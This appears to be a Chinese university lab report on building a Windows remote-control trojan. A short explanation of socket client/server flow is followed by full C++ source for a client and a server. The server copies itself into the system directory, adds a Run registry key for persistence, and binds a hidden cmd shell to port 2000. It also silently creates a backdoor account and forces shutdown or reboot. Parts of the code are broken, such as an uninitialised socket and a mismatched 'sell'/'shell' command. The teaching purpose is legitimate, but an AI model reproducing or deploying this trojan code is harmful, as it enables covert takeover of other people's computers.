远程控制与木马程序设计

1 实验题目远程控制与木马程序设计2 实验目的●掌握远程控制的一般原理与类型,实现利用网络scoket套接字完成计算机远程通信过程,学生深入理解和掌握基于TCP/IP协议的网络通信概念、原理，以及网络客户机/服务器模型的结构概念。

●熟悉常用的Windows API函数的用法，利用C++或VB语言实现木马程序的设计。

3 实验条件和环境●Windows XP SP3●Microsoft Virtual C++4 实验方法（系统功能、结构设计，软件流程图等）●利用Socket进行网络远程通信设计使用套接字Socket在两台计算机实现通信过程中，首先假设一台是服务端，另一台是客户端。

服务端先启动，建立一个套接字Socket，并对相应的IP 和端口进行绑定、监听；客户端也建立一个套接字Socket，并对其相应的IP 和端口进行绑定，然后与服务端连接，待其相应后，双方可以实现远程通信。

服务端流程如下：socket()->bind()->listen()->accept()->recv()/send()->closesocket()客户端流程如下：socket()->connect()->recv()/send()->closesocket()远程控制与木马程序远程控制实际上是包含有服务器端和客户端的一套程序服务器端程序驻留在目标计算机里，随着系统启动而自行启动。

此外，使用传统技术的程序会在某端口进行监听，若接收到数据就对其进行识别，然后按照识别后的命令在目标计算机上执行一些操作（比如窃取口令，拷贝或删除文件，或重启计算机等）。

攻击者一般在入侵成功后，将服务端程序拷贝到目标计算机中，并设法使其运行，从而留下后门。

日后，攻击者就能够通过运行客户端程序，来对目标计算机进行操作。

总体流程：通过C/S运行模式并结合进程与匿名管道技术来实现的，主体分为两部分：即客户端和服务端木马程序。

其原理为服务端程序在目标计算机中采用自动运行模式，并打开2000端口进行监听，当客户端向服务端主动提出连接请求，服务端木马程序就会自动运行，来应答客户端的请求，从而建立连接，服务段木马程序根据客户端的指令而执行相应的操作。

软件流程图：5 实验结果及结论6 附录：程序清单及说明客户端程序：#include <stdio.h> //包含标准输入输出库#include <winsock.h> //包含windows套接字函数#pragma comment(lib,"Ws2_32")//将注释wsock32放置到lib文件中，否则需要加载#define MAXSIZE 2048 //每次可以接收的最大字节#define SEND_PORT 2000 //与木马程序连接的端口为2000struct sockaddr_in ClientAddr; //对方的地址端口信息SOCKET sock; //定义套接字变量,为全局变量DWORD startSock() //建立套接字功能模块{WSADATA WSAData; //将WSAData的数据类型声明为WSADATA if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0){//MAKEWORD(2,2)预定义Winsock版本，初始化套接字printf("sock init fail");return(-1);}sock = socket(AF_INET, SOCK_STREAM, 0);//连接对方return 1;}int main(int argc, char *argv[]){u_int numbyte;char buf[MAXSIZE]; //传送数据的缓冲区if (argc != 2){//需要有服务端ip参数,格式:client.exe IP地址fprintf(stderr,"usage: client hostname\n");exit(1);}startSock();//调用建立套接字功能函数ClientAddr.sin_family = AF_INET; //协议类型是INETClientAddr.sin_port = htons(SEND_PORT); //连接对方2000端口ClientAddr.sin_addr.s_addr = inet_addr(argv[1]); //连接对方的IP地址connect(sock, (struct sockaddr *)&ClientAddr,sizeof(struct sockaddr));printf("------------远程控制木马程序菜单-------------\r\n");printf("test --检测连接\r\n");printf("add --建立Windowsxp系统的秘密帐号\r\n");printf("shutdownxp --关闭Windowsxp计算机\r\n");printf("resetxp --重新启动Windowsxp计算机\r\n");printf("close --关闭光驱\r\n");printf("open --打开光驱\r\n");printf("sell --建立cmd进程\r\n");printf("OSVersion --显示系统版本\r\n");printf("-------------------------------------------------------\r\n");numbyte=recv(sock, buf, MAXSIZE, 0);//接收服务端发来的提示符if(numbyte==SOCKET_ERROR){closesocket(sock);}buf[numbyte] = '\0';printf("%s",buf); //显示服务端发来的提示符if(strcmp(buf, "quit") == 0 ){closesocket(sock);return 0;}while(1){buf[0] = '\0';scanf("%s",buf);//输入控制指令int iLen = strlen(buf);buf[iLen] = 0xa;buf[iLen+1] = '\0';//要求控制指令串最后为回车符,以示结束numbyte=send(sock, buf, strlen(buf), 0);//发出控制指令if(numbyte==SOCKET_ERROR){closesocket(sock);break;}numbyte=recv(sock, buf, MAXSIZE, 0);//接收服务端发来的提示符if(numbyte==SOCKET_ERROR){closesocket(sock);break;}buf[numbyte] = '\0';printf("%s",buf); //显示服务端发来的提示符if(strcmp(buf, "quit") == 0 ){closesocket(sock);return 0;}}return 0;}服务器程序：#include <winsock2.h> //包含windows套接字函数#include <stdio.h> //包含标准输入输出函数#include <mmsystem.h> //光驱控制函数mciSendString()所需的头文件#include <iostream.h> //包含C++系统输入输出函数#include <string.h> //包含字符串处理函数#include <winuser.h> //WinExec()函数所需的头文件#pragma comment(lib,"Ws2_32")//将注释wsock32放置到lib文件中，否则需要加载#pragma comment(lib,"Winmm.lib")//光驱控制函数mciSendString()所需的库#define RECV_PORT 2000 //木马服务端对外响应的端口#define PATH 200 //程序自启动的最大路径SOCKET sock1,sock2;//sock1为服务端程序自身建立的套接字//sock2为服务端与客户端建立响应后的套接字int g1;char Buff[1024],cmd[1024];//缓冲区DWORD startSock() //建立套接字功能模块{WSADATA WSAData; //将WSAData的数据类型声明为WSADATA if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0){//MAKEWORD(2,2)预定义Winsock版本，初始化套接字printf("sock init fail");return(-1);}sock1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0,0);//建立套接字,为TCP/IP、流式格式struct sockaddr_in serverAddr; //保存套接字地址的结构体serverAddr.sin_family = AF_INET; //规定使用IPv4协议serverAddr.sin_port = htons(RECV_PORT); //响应端口serverAddr.sin_addr.s_addr=ADDR_ANY;//建立IP地址,ADDR_ANY可使用任意IP地址连接g1=bind(sock1,(sockaddr *)&serverAddr,sizeof(serverAddr));//绑定端口与套接字g1=listen(sock1,5);//等待监听，最大可接受5个连接请求int serverAddrSize = sizeof(serverAddr);sock2=accept(sock1,(sockaddr *)&serverAddr,&serverAddrSize);//如果客户请求2000端口，接受连接,并返回sock2套接字return 1;}int cmdshell(SOCKET sock) //建立cmd进程功能模块{STARTUPINFO startinfo; //控制进程的主窗口的显示方式ZeroMemory(&startinfo,sizeof(startinfo));startinfo.dwFlags =STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;// 决定本结构的每一个成员是否起作用startinfo.wShowWindow = SW_HIDE;//窗口显示模式,隐藏格式startinfo.hStdInput = startinfo.hStdOutput = startinfo.hStdError = (void *)sock;//标准输入输出管道char cmdsystem[] = "cmd";//cmd进程PROCESS_INFORMATION ProcessInformation;// 指向进程信息结构的指针int g2;//下面为建立进程过程g2=CreateProcess(NULL,cmdsystem,NULL,NULL,1,0,NULL,NULL,&st artinfo,&ProcessInformation);//建立一个cmd.exe进程与相应的输入输出管道WaitForSingleObject(ProcessInformation.hProcess, INFINITE);//等待子进程退出TerminateProcess(ProcessInformation.hProcess, 0);//在一个子进程中强制结束其他的进程CloseHandle(ProcessInformation.hProcess);//关闭子进程句柄return 1;}DWORD startExeFile() //自启动程序功能模块{char ExeFile[PATH]; //木马程序缓冲区char TempPath[PATH];//系统目录缓冲区int g3;GetModuleFileName(NULL,ExeFile,PATH);//得到当前文件名GetSystemDirectory(TempPath ,PATH); //得到系统目录strcat(TempPath,"\\server.exe");//拷贝到系统文件夹名为server.exe g3 = CopyFile(ExeFile, TempPath, FALSE);HKEY key;//关键字句柄if( RegOpenKeyEx( HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0, KEY_ALL_ACCESS, &key ) == ERROR_SUCCESS){//创建和打开一个关键字RegSetValueEx(key,"server",0,REG_SZ,(BYTE*)TempPath,lstrlen(TempPath));// 在RUN键下建立一个server键,为该木马的路径RegCloseKey(key); //关闭并保存}return 1;}DWORD Open_CDROM()//打开光驱程序功能模块{mciSendString("set cdaudio door open", NULL, 0, NULL);//多媒体控制函数return 1;}DWORD Close_CDROM()//关闭光驱程序功能模块{ mciSendString("Set cdaudio door closed wait", NULL, 1, NULL);//多媒体控制函数return 1;}DWORD shutdownwinxp()//关闭Winxp程序功能模块{HANDLE hToken;TOKEN_PRIVILEGES tkp;// Windows2K中需要设置调用进程的权限，当获取该权限后才能关闭计算机的操作OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGE S | TOKEN_QUERY, &hToken);LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[ 0].Luid);tkp.PrivilegeCount = 1; // 设置一个权限tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, FALSE, &tkp,0,(PTOKEN_PRIVILEGES)NULL, 0);ExitWindowsEx(EWX_SHUTDOWN |EWX_FORCE, 0);return 1;}DWORD resetwinxp()//重新启动Winxp程序功能模块{HANDLE hToken;TOKEN_PRIVILEGES tkp;// Windowsxp系列，需要设置调用进程的权限，获得权限才能进行重新启动计算机的操作OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Lui d);tkp.PrivilegeCount = 1; // 设置一个权限tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, FALSE, &tkp,0,(PTOKEN_PRIVILEGES)NULL, 0);ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);return 1;}DWORD adduser( )//建立秘密帐号程序功能模块{WinExec("net user xxdk 111 /add",SW_HIDE);//建立秘密帐号return 1;}DWORD GetOSVersion(){OSVERSIONINFO OS;//操作系统版本信息的数据结构OS.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);GetVersionEx(&OS);//获取操作系统版本信息switch(OS.dwPlatformId)//根据dwPlatformId参数的值来判断操作系统的版本{case VER_PLATFORM_WIN32_WINDOWS:send(sock2," Windows 9x OK\n\rcmd>",sizeof(" Windows 9x OK\n\rcmd>"),0); return 1;case VER_PLATFORM_WIN32_NT:send(sock2," Windows XP OK\n\rcmd>",sizeof(" Windows XP OK\n\rcmd>"),0); return 1;return 1;}}//下面为主函数,通过调用各个功能模块来实现木马功能int main(){startExeFile();//startSock() ;unsigned long ByteRead = 0;send(sock2,"欢迎进入木马远程控制系统,请输入你的选择!\n\rcmd>",sizeof("欢迎进入木马远程控制系统,请输入你的选择!\n\rcmd>"),0);while(1){ZeroMemory(cmd,1024); //初始化cmd[]缓冲区,用来装客户端发来的指令ByteRead = 0; //接收客户端发来的指令字节数while(ByteRead<200) //下面是接收客户端发来控制字程序段{if(recv(sock2,Buff,1,0)==SOCKET_ERROR)//控制字在Buff缓冲区中{closesocket(sock2);return 0;}cmd[ByteRead]=Buff[0];if(Buff[0]==0xa || Buff[0]==0xd){ //如果控制字最后是回车符表示结束标志,cmd[]数组最后一位为0cmd[ByteRead]=0;break;}ByteRead++; //指令字节计数}if(strcmp(cmd,"open") == 0){Open_CDROM(); //调用打开光驱模块程序send(sock2,"OK\n\rcmd>",sizeof("OK\n\rcmd>"),0);}else if(strcmp(cmd,"close") == 0){Close_CDROM(); //调用关闭光驱模块程序send(sock2,"OK\n\rcmd>",sizeof("OK\n\rcmd>"),0);}else if(strcmp(cmd,"test") == 0){send(sock2,"OK!\n\rcmd>",sizeof("OK!\n\rcmd>"),0);}else if(strcmp(cmd,"shell")==0){cmdshell(sock2); //调用CMD进程模块程序send(sock2,"Create the cmd ShellOK\n\rcmd>",sizeof("Create the cmd Shell OK\n\rcmd>"),0);}else if(strcmp(cmd,"shutdownxp")==0){shutdownwinxp();//调用关闭Winxp系统计算机模块程序send(sock2,"shutdown the windows2kOK\n\rcmd>",sizeof("shutdown the windows2k OK\n\rcmd>"),0);}else if(strcmp(cmd,"resetxp")==0){resetwinxp(); //调用启动Winxp系统计算机模块程序send(sock2,"reset the windows2kOK\n\rcmd>",sizeof("reset the windows2k OK\n\rcmd>"),0);}else if(strcmp(cmd,"add")==0){adduser(); //调用建立秘密帐号模块程序send(sock2,"net user xxdk gao/addOK\n\rcmd>",sizeof("net user xxdk gao/add OK\n\rcmd>"),0);}else if(strcmp(cmd,"OSVersion")==0){GetOSVersion();}else{send(sock2,"Bad command,Please input the word try again\n\rcmd>",sizeof("Bad command,Please input the word tryagain\n\rcmd>"),0);} //显示输入有误,重新输入Sleep(10); //延时}return 1;}。